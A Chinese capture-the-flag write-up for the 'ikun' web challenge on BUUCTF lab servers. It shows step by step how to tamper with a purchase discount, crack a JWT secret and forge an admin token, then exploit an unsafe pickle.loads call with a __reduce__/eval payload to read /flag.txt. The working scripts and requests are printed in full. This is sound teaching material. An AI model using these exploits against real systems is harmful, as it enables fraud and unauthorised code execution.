[CISCN2019 华北赛区 Day1 Web2]ikun
打开网页,先注册登录,根据提示:ikun们冲鸭,一定要买到lv6!!!
,说明我们要买个六级号,所以我们用脚本搜索六级号在哪一页:
import requests
for i in range(1,1000):
url = "http://0a047e4f-ced1-4f90-9dcd-663cef470c0f.node3.buuoj.cn/shop?page={}"
url = url.format(i)
print(url)
r = requests.get(url)
if "lv6.png" in r.text and r.status_code == 200:
print("find it:" ,url)
break
最后发现在181页,到181页点击购买,同时用burp suite拦截请求:
POST /shopcar HTTP/1.1
Host: 36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn/shopcar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _xsrf=2|3838073a|d9aeab83c56fb9d3c045fd385aeb54a5|1626027539; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78; commodity_id="2|1:0|10:1626027606|12:commodity_id|8:MTYyNA==|02ef09725be9c5bcf6002e383a11f1ccfad68a4696d9d4880f626114676c32c6"
Connection: close
_xsrf=2%7Ca5eaf832%7C447c548b58bd46db5d970230c739abad%7C1626027539&id=1624&price=1145141919.0&discount=0.8
将discount折扣
改成0.000000001
,然后发送请求,响应为:
HTTP/1.1 302 Found
Server: openresty
Date: Sun, 11 Jul 2021 18:21:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Location: /b1g_m4mber
发现新网页,在浏览器输入url:
http://4683139b-3505-4d17-970d-db6537af0224.node4.buuoj.cn/b1g_m4mber
页面提示只允许admin
访问,刷新拦截请求:
GET /b1g_m4mber HTTP/1.1
Host: 36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _xsrf=2|3838073a|d9aeab83c56fb9d3c045fd385aeb54a5|1626027539; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78; commodity_id="2|1:0|10:1626027606|12:commodity_id|8:MTYyNA==|02ef09725be9c5bcf6002e383a11f1ccfad68a4696d9d4880f626114676c32c6"
If-None-Match: "c63998d5bdcbf56c96cd396256e18ee05bfc4f3e"
Connection: close
发现JWT
字段,想到利用JWT
获得权限。
Json web token
(JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON
的开放标准((RFC 7519).该token
被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT
的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token
也可直接被用于认证,也可被加密。
References
JWT官网:
JWT字段为:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78
经过base64
解码:
{"alg":"HS256","typ":"JWT"}{"username":"123"}¶«.L=...m.ð¢ÖÙ.Jh.Î.ö7Éq">[.¿
发现当前的用户名是123
,如果现在的用户名是admin
,就可以进入/b1g_m4mber
页面了。但解码后是乱码,所以我们还需要知道JWT
的密钥,才能将用户名修改后正确地伪造为JWT
。利用JWT
密钥破解工具:
下载软件包到Ubuntu
或者kail
,然后先安装opensll
头文件:
sudo apt-get install libssl-dev
然后在c-jwt-cracker
文件夹下编译文件:
make
然后输入命令:
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78
运行后得知密钥为:1Kun
先在网站里输入请求包里拦截到的jwt
。
然后修改username
为admin
,在VERIFY SIGNATURE
里填入1Kun
,左侧会自动生成我们伪造好的jwt
,把伪造的jwt
放入请求,替换原来的JWT
,然后发送请求,最后成功访问/b1g_m4mber
。查看源代码发现www.zip
下载包:
<a href="/static/asd1f654e683wq/www.zip">
<span style="visibility:hidden">删库跑路前我留了好东西在这里</span>
</a>
点击下载压缩包。
在admin.py
文件里面发现代码:
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
注意到become
参数用到pickle.loads()
函数,查询资料:Pickle
可以对任意一种类型的Python
对象进行序列化操作。下面是主要的四个函数:
Pickle.dump()
:将Python对象序列化保存到本地的文件中。Pickle.load()
:载入本地文件,将文件内容反序列化为Python对象。Pickle.dumps()
:将Python对象序列化为字符串。Pickle.loads()
:将字符串反序列化为Python对象。
因此我们知道代码中pickle.load()
的作用是反序列化,因此如果我们要找到flag文件,我们首先要在代码反序列化时执行一个函数。于是找到__reduce__(self)
函数可以在重建对象时,调用我们指定的函数,具体定义如下:
-
__reduce__(self)
当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想
pickle
它们,你必须告诉Python如何pickle它们。__reduce__
被定义之后,当对象被Pickle
时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle
,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给__setstate__
的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);
References
Python魔法方法指南_宇宙浪子的专栏-CSDN博客_python 魔法方法
如果我们能让代码执行eval("open('/flag.txt','r').read()")
就可以得到flag文件了,所以构造python2序列化代码:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload()) # 将Python对象序列化
a = urllib.quote(a) # url编码
print a
References
(Python)cPickle反序列化漏洞_Mi1k7ea-CSDN博客
将在python2的环境下运行结果代替原来become
的值,构造请求:
POST /b1g_m4mber HTTP/1.1
Host: f52a047b-8539-42df-95a9-6b22df3a40c4.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: _xsrf=2|7c71a1bd|485b9d098c384489fcbb2dde09eb33f5|1626675334; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
Content-Length: 178
_xsrf=2%7Cc3438373%7Cf769bfc7330a664743890f10b6d9113b%7C1626675334&become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
发送请求,得到flag。